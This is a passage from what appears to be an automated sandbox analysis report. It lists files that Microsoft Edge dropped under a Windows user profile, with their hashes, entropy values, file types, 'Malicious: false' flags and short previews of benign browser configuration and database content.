Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3a6c0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.926136109079379
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LSL:YHpoeSL
MD5:	4DF4574BFBB7E0B0BC56C2C9B12B6C47
SHA1:	81EFCBD3E3DA8221444A21F45305AF6FA4B71907
SHA-256:	E1B77550222C2451772C958E44026ABE518A2C8766862F331765788DDD196377
SHA-512:	78B14F60F2D80400FE50360CF303A961685396B7697775D078825A29B717081442D357C2039AD0984D4B622976B0314EDE8F478CDE320DAEC118DA546CB0682A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2789974146041498
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBzWM:uIEumQv8m1ccnvS6jf
MD5:	9A3DAF3C6666BCCCFA120EA6B2504D90
SHA1:	DF570E5C42749CA1D4E77BC383607E1AFDE3BCBF
SHA-256:	672E265E31A8D526C7A4475878721FABFD62998177704CFF208E158B404C6EAE
SHA-512:	9762E293AD25B9CC3518186680B4FA5273F45C6660E56C117DB7A69DDF81A41CD97DCD90EE206ECDE4138AF57D790DC85AE14F2EA297A089E37AA22F7B4996CE
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF380f9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38f9f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity~RF3a6c0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	203
Entropy (8bit):	5.4042796420747425
Encrypted:	false
SSDEEP:	6:YAQN1iL50xHA9vh8wXwlmUUAnIMp5sXX2SQ:Y45Sg9vt+UAnIXZQ
MD5:	24D66E5F1B8C76C76511DA68057CDE5E
SHA1:	70225FEC1AE3FEF8D8A767D9EA0B0E108BF8F10D
SHA-256:	D5CB3A4A104E2EC4F13E8B4CDF3BD469E0AB638713928BEA1EAEAF03998B794C
SHA-512:	1CA093B4BB4E0B3EE0B791AD0E6B39AC9640CEB6ED005BD10A10B4AF904858F4898D86D26B60B625CDA9425FF317C6B9FE0DF2E12C897A52720AF775B19491AA
Malicious:	false
Preview:	{"expect_ct":[],"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.36515621748816035
Encrypted:	false
SSDEEP:	24:TLH3lIIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:Tb31DtX5nDOvyKDhU1cSB
MD5:	25363ADC3C9D98BAD1A33D0792405CBF
SHA1:	D06E343087D86EF1A06F7479D81B26C90A60B5C3
SHA-256:	6E019B8B9E389216D5BDF1F2FE63F41EF98E71DA101F2A6BE04F41CC5954532D
SHA-512:	CF7EEE35D0E00945AF221BEC531E8BF06C08880DA00BD103FA561BC069D7C6F955CBA3C1C152A4884601E5A670B7487D39B4AE9A4D554ED8C14F129A74E555F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......X..g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\bba411e2-bd5a-496d-a634-53ea86e31c00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\c6b810d1-e966-42d8-8a67-d3d680ee3f64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e1058e29-299d-4051-9e8b-737ad39cfdf7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6852315298663104
Encrypted:	false
SSDEEP:	24:TLiOUOq0afDdWec9sJEpMl741miI7J5fc:TOOUzDbg39pMldc
MD5:	19F8A237057D855585E293B39C348D63
SHA1:	6DFC800D2C67A332B72884BDDEDE8A231EAEB35F
SHA-256:	86E8C808D16056DAFA4449DE639D0C5F372B654C319516D5FC598DDD7FC4045E
SHA-512:	FFD7FDF11BC4C78963D8420DE2E1BDCC611ADB93FE5F9D094BBE1C79D1E1A4D0CD3A95EF60760A6BFB719170DBD0DE1929AB28D0268E7A02B489E0F84E71078B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12390
Entropy (8bit):	5.071211131097366
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZigaba4uypTJcKaYFQw8qpj+FX0QAGFvo1f:sVjLA3u4TJcKJpUkQR+
MD5:	EB298F06B757B92CB304F3C2D27725DD
SHA1:	B3A1953E92ADBACE54321C74F7C8018C0626FB8B
SHA-256:	CC62A03238A6E649E542375993925D23265F9AE2966BA22090BD7BED600E95F0
SHA-512:	044A9A02BC757697C907E34C16BB7B9CB5F6CDE9EAA9431298C974016268EBBCC572793EF82159E0B9DA912C8C2E7A9C822E7DD6A83D1F8789B1A03C299DF88F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3b864.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12390
Entropy (8bit):	5.071211131097366
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZigaba4uypTJcKaYFQw8qpj+FX0QAGFvo1f:sVjLA3u4TJcKJpUkQR+
MD5:	EB298F06B757B92CB304F3C2D27725DD
SHA1:	B3A1953E92ADBACE54321C74F7C8018C0626FB8B
SHA-256:	CC62A03238A6E649E542375993925D23265F9AE2966BA22090BD7BED600E95F0
SHA-512:	044A9A02BC757697C907E34C16BB7B9CB5F6CDE9EAA9431298C974016268EBBCC572793EF82159E0B9DA912C8C2E7A9C822E7DD6A83D1F8789B1A03C299DF88F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3f1b4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12390
Entropy (8bit):	5.071211131097366
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZigaba4uypTJcKaYFQw8qpj+FX0QAGFvo1f:sVjLA3u4TJcKJpUkQR+
MD5:	EB298F06B757B92CB304F3C2D27725DD
SHA1:	B3A1953E92ADBACE54321C74F7C8018C0626FB8B
SHA-256:	CC62A03238A6E649E542375993925D23265F9AE2966BA22090BD7BED600E95F0
SHA-512:	044A9A02BC757697C907E34C16BB7B9CB5F6CDE9EAA9431298C974016268EBBCC572793EF82159E0B9DA912C8C2E7A9C822E7DD6A83D1F8789B1A03C299DF88F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF422c6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12390
Entropy (8bit):	5.071211131097366
Encrypted:	false
SSDEEP:	192:sVMeJ9pQTryZigaba4uypTJcKaYFQw8qpj+FX0QAGFvo1f:sVjLA3u4TJcKJpUkQR+
MD5:	EB298F06B757B92CB304F3C2D27725DD
SHA1:	B3A1953E92ADBACE54321C74F7C8018C0626FB8B
SHA-256:	CC62A03238A6E649E542375993925D23265F9AE2966BA22090BD7BED600E95F0
SHA-512:	044A9A02BC757697C907E34C16BB7B9CB5F6CDE9EAA9431298C974016268EBBCC572793EF82159E0B9DA912C8C2E7A9C822E7DD6A83D1F8789B1A03C299DF88F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13380903658473931","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37816
Entropy (8bit):	5.556000307631111
Encrypted:	false
SSDEEP:	768:faknj57pLGLhvZWPWcfIp8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/452JrwICmYBDn:faknjPchvZWPWcfIpu1jaiq26ICDfCtk
MD5:	4F026B3233DD3685416F385B8E843A09
SHA1:	F9F93EB148E34374A48B07EB1CE493EFBE721D03
SHA-256:	5F57883B0932770CC0BAB5A474C40D32A64FE0302789D018BFDB34EC11547E8A
SHA-512:	C121C4146BB1098291F2A2C2065B3EEEACCC538625A0B8FF74C589251E6DA98C7E0C2F11512993F33739B383DBF8100C8C71944AA9691126A45F92C101FC3F9E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13380903657830671","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13380903657830671","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3d562.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	37816
Entropy (8bit):	5.556000307631111
Encrypted:	false
SSDEEP:	768:faknj57pLGLhvZWPWcfIp8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/452JrwICmYBDn:faknjPchvZWPWcfIpu1jaiq26ICDfCtk
MD5:	4F026B3233DD3685416F385B8E843A09
SHA1:	F9F93EB148E34374A48B07EB1CE493EFBE721D03
SHA-256:	5F57883B0932770CC0BAB5A474C40D32A64FE0302789D018BFDB34EC11547E8A
SHA-512:	C121C4146BB1098291F2A2C2065B3EEEACCC538625A0B8FF74C589251E6DA98C7E0C2F11512993F33739B383DBF8100C8C71944AA9691126A45F92C101FC3F9E
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13380903657830671","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13380903657830671","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2394
Entropy (8bit):	5.814722433919512
Encrypted:	false
SSDEEP:	24:F2xc5Nm2cncmoDCRORpllg2hEdfRHlldCRORpllg2h4iV0d6FCRORpllg2hEgRHW:F2emHMrd6dfBTrdey0dcrd6gBFqrd6BO
MD5:	0BA5A9F52E983436B5D79F6B788F7DEB
SHA1:	3343C21C3FB0DEDF4D7B1661872A2931F69B529A
SHA-256:	922C54135A31070E3DF6F1F50C5069E71B99E0C3C33D871EF076732079E54D72
SHA-512:	B059961C5D1B4C390EF65CE08BDFAB17E0AC30172BE22A67D784B099548BEDDCC75E038E270CAC2606D8643800DE76275DD5F4E0A36113E781584D7F1B727588
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2... .................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmpt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.180657892598512
Encrypted:	false
SSDEEP:	6:iOrvRCeq1wkn23oH+TcwtE/a252KLl5vRIA+q2Pwkn23oH+TcwtE/a2ZIFUv:7DfYeb8xLWFvYfYeb8J2FUv
MD5:	863699A04D1746FE8481B4912AF04BB0
SHA1:	5DB25A2A18CE579AD63274D76E3F9F36FD7F3068
SHA-256:	655EF96E6C8BD5B1135731F380F5E3B991274DE7229727586EBB11D243B09672
SHA-512:	BC3C8ED34B1C4EB1D1D0FAEEE1CBB5A233BABEFBCD029540D848EF81BC23BC998C243659CB7A91689B40C15BF9BF5470F69A20FF9E97699341D1827E864C8B0F
Malicious:	false
Preview:	2025/01/09-08:41:09.364 16a8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/01/09-08:41:09.381 16a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
